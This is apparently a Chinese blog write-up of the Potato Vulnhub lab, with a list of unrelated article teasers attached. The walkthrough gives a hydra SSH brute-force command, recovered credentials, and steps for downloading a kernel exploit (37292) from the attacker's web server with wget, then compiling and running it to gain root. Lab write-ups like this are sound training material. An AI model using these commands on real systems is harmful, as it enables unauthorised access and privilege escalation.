Potato靶机
信息搜集
设备发现
扫描端口
综合扫描
开放了80端口的HTTP服务和7120端口的SSH服务
目录扫描
扫描目录
看看这个info.php，发现只有php的版本信息，没有可以利用的注入点
SSH突破
hydra 爆破
考虑到 7120 端口是 ssh 服务，尝试利用 hydra 进行 ssh 爆破，得到用户名：potato 密码：letmein
hydra -l potato -P top1000.txt -V ssh://192.168.88.138:7120
ssh渗透提权
用拿到 ssh 用户名和密码，登录 ssh
id查看发现是一个普通用户；uname -a查看发现ubuntu的版本很老，只有3.13.0
查看 Linux 内核信息，搜索后发现存在 exp，也可以searchsploit ubuntu 3.13.3，使用第一个漏洞进行攻击
使用该漏洞，
将漏洞传到靶机上，这里我们在kali上建立apache服务器，让目标主机通过网络将漏洞下载到本机上
service apache2 start ---------开启服务器ss -tunlp ----------查看开启端口
将漏洞下载到服务器目录下
cd /var/www/html
searchsploit -m 37292 
使用目标靶机下载服务器上的漏洞
wget http://192.168.88.128/37292.c 运行脚本提权
gcc 37292.c -o exp ----------编译脚本
chmod +777 exp -----------更改权限
./exp -------------执行脚本
提高交互性并且拿到root权限
找到flag，拿下
参考博客：
Potato靶机测试-CSDN博客
Vulnhub靶机实战-POTATO-WP_维梓-的博客-CSDN博客
相关文章：
Potato靶机
信息搜集 设备发现 扫描端口 综合扫描 开放了80端口的HTTP服务和7120端口的SSH服务 目录扫描 扫描目录 看看这个info.php，发现只有php的版本信息，没有可以利用的注入点 SSH突破 hydra 爆破 考虑到 7120 端口是 ssh 服务，尝试利用 hydra …...
【环境搭建】linux docker-compose安装gitlab和redis
gitlab需要redis，一起安装了 新建gitlab和redis挂载目录 mkdir -p /data/docker/redis/data mkdir -p /data/docker/redis/logs mkdir -p /data/docker/redis/confmkdir -p /data/docker/gitlab/data mkdir -p /data/docker/gitlab/logs mkdir -p /data/docker/gi…...
JAVAEE初阶相关内容第十三弹--文件操作 IO
写在前 终于完成了！！！！内容不多就是本人太拖拉！ 这里主要介绍文件input，output操作。File类，流对象（分为字节流、字符流） 需要掌握每个流对象的使用方式：打…...
POI报表的高级应用
POI报表的高级应用 掌握基于模板打印的POI报表导出理解自定义工具类的执行流程 熟练使用SXSSFWorkbook完成百万数据报表打印理解基于事件驱动的POI报表导入 模板打印 概述 自定义生成Excel报表文件还是有很多不尽如意的地方，特别是针对复杂报表头，单…...
【计算机毕设选题推荐】超市管理系统SpringBoot+SSM+Vue
前言：我是IT源码社，从事计算机开发行业数年，专注Java领域，专业提供程序设计开发、源码分享、技术指导讲解、定制和毕业设计服务 项目名 基于SpringBoot的超市管理系统 技术栈 SpringBootVueMySQLMaven 文章目录 一、超市管理系统…...
【算法1-4】递推与递归-P1002 [NOIP2002 普及组] 过河卒
## 题目描述 棋盘上 A 点有一个过河卒，需要走到目标 B 点。卒行走的规则：可以向下、或者向右。同时在棋盘上 C 点有一个对方的马，该马所在的点和所有跳跃一步可达的点称为对方马的控制点。因此称之为“马拦过河卒”。 棋盘用坐标表示&#…...
浅谈压力测试的作用是什么
随着现代应用程序变得越来越复杂，用户的期望也在不断提高，对性能和可靠性的要求变得更加苛刻。在应用程序开发和维护的过程中，压力测试是一项至关重要的活动，它可以帮助发现潜在的问题、评估系统的性能极限，以及确保在…...
互联网Java工程师面试题·Java 总结篇·第一弹
目录 1、面向对象的特征有哪些方面？ 2、访问修饰符 public,private,protected,以及不写（默认）时的区别？ 3、String 是最基本的数据类型吗？ 4、float f3.4;是否正确？ 5、short s1 1; s1 s1 1;有错吗…...
Anylogic 读取和写入Excel文件
1、选择面板-连接-Excel文件，拖入到视图中 然后在excel文件的属性中进行绑定外部excel文件。 绑定完之后，在你需要读取的地方进行写代码， //定义开始读取的行数 //这里设为2，是因为第一行是数据名称 int row12; //读取excel文件信…...
茶百道全链路可观测实战
作者：山猎 茶百道是四川成都的本土茶饮连锁品牌，创立于 2008 年 。经过 15 年的发展，茶百道已成为餐饮标杆品牌，全国门店超 7000 家，遍布全国 31 个省市，实现中国大陆所有省份及各线级城市的全覆盖。2021 …...
Java-JDBC
JDBC JDBC英文名为：Java Data Base Connectivity(Java数据库连接)，官方解释它是Java编程语言和广泛的数据库之间独立于数据库的连接标准的Java API 根本上说JDBC是一种规范，它提供的接口，一套完整的，允许便捷式访问底…...
【ROS】Nav2源码之nav2_planner详解
【ROS】郭老二博文之：ROS目录 1、简述 nav2_planner是路径规划器，把起始位置、姿势的信息输入nav2_planner模块，将会生成可行路径。 nav2_planner路径规划器和nav2_controller控制器相似，也使用插件的形式加载不同的路径规划器。 常用的路径规划器插件有： 1）NavFn Plan…...
mysql报SQLSTATE[22007]的错误的一个原因
最近在修改一个程序，打算将$video这个参数保存到数据库。修改的过程中出现错误。导致该程序不能发布新文章。在程序的一个db.php程序文件里使用var_dump($input, $stmt) ; 语句看到了错误信息，并找到了错误原因。信息里包含的错误代码是： SQ…...
Python —— UI自动化之 三大等待与三大切换
1、三大等待 1、硬性等待 1、概述 硬性等待也可以称之为强制等待，写法如下： time.sleep() 优点：使用简单 缺点：等待时间把握不准，容易造成时间浪费或者等待时间不足 2、实战 from time import sleep from sele…...
初识容器Docker
目前使用 Docker 基本上有两个选择：Docker Desktop和Docker Engine。Docker Desktop 是专门针对个人使用而设计的，支持 Mac 和 Windows 快速安装，具有直观的图形界面，还集成了许多周边工具，方便易用。 不是太推荐使用D…...
pikachu靶场搭建及通关
一、靶场搭建 下载工具：phpstudy Pikachu靶机下载地址： https://github.com/zhuifengshaonianhanlu/pikachu 下载后解压缩并放入如下文件夹（网站根目录） 建议修改文件名称为 pikachu 修改配置文件（mysql 用户名&…...
选择排序（学习笔记）
选择排序 选择排序的基本思想是冒泡排序，记录当前位置i和最小值k的位置，使用一个变量j往后寻找。 每一轮找到最小值后与第一个元素进行交换，以此类推。 不使用辅助变量交换两个元素的值方法 package com.company.sort;import java.util.Ra…...
PCL 生成球形点云
目录 一、算法原理二、代码实现三、结果展示四、参考链接一、算法原理 生成球体点云的方法有很多种，Marsaglia于1972年提出了一个简单易行的实现方法，它从(-1,1)上的独立均匀分布中选取 x 1 x_1 x...
Flutter 剪裁（Clip）
🔥 ClipOval 🔥 子组件为正方形时剪裁成内贴圆形；为矩形时，剪裁成内贴椭圆 裁剪纯色背景 ClipOval(child: Container(width: 300.w,height: 300.w,decoration: const BoxDecoration(color: Colors.red),),), 裁剪背景图片 裁剪前…...
嵌入式C语言自我修养《GNU C编译器扩展语法》学习笔记
目录 一、C语言标准和编译器 二、指定初始化 三、宏构造“利器”：语句表达式 四、typeof与container_of宏 五、零长度数组 六、属性声明：section 七、属性声明：aligned 一、C语言标准和编译器 C语言标准的发展过程： ●…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题： 下面创建一个简单的Flask RESTful API示例。首先，我们需要创建环境，安装必要的依赖，然后…...
蓝桥杯3498 01串的熵
问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798， 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...
使用 SymPy 进行向量和矩阵的高级操作
在科学计算和工程领域，向量和矩阵操作是解决问题的核心技能之一。Python 的 SymPy 库提供了强大的符号计算功能，能够高效地处理向量和矩阵的各种操作。本文将深入探讨如何使用 SymPy 进行向量和矩阵的创建、合并以及维度拓展等操作，并通过具体…...
push [特殊字符] present
push 🆚 present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中，push 和 present 是两种不同的视图控制器切换方式，它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...
Windows安装Miniconda
一、下载 https://www.anaconda.com/download/success 二、安装 三、配置镜像源 Anaconda/Miniconda pip 配置清华镜像源_anaconda配置清华源-CSDN博客 四、常用操作命令 Anaconda/Miniconda 基本操作命令_miniconda创建环境命令-CSDN博客...
（一）单例模式
一、前言 单例模式属于六大创建型模式，即在软件设计过程中，主要关注创建对象的结果，并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计，从而隐藏了类对象的实例是如何被创建的，封装了软件系统使用的具体对象类型。 六大创建型模式包括…...
Unity UGUI Button事件流程
场景结构 测试代码 public class TestBtn : MonoBehaviour {void Start(){var btn GetComponent<Button>();btn.onClick.AddListener(OnClick);}private void OnClick(){Debug.Log("666");}}当添加事件时 // 实例化一个ButtonClickedEvent的事件 [Formerl…...
elementUI点击浏览table所选行数据查看文档
项目场景： table按照要求特定的数据变成按钮可以点击 解决方案： <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...
Python网页自动化Selenium中文文档
1. 安装 1.1. 安装 Selenium Python bindings 提供了一个简单的API，让你使用Selenium WebDriver来编写功能/校验测试。 通过Selenium Python的API，你可以非常直观的使用Selenium WebDriver的所有功能。 Selenium Python bindings 使用非常简洁方便的A…...
xmind转换为markdown
文章目录 解锁思维导图新姿势：将XMind转为结构化Markdown 一、认识Xmind结构二、核心转换流程详解1.解压XMind文件（ZIP处理）2.解析JSON数据结构3：递归转换树形结构4：Markdown层级生成逻辑 三、完整代码 解锁思维导图新…...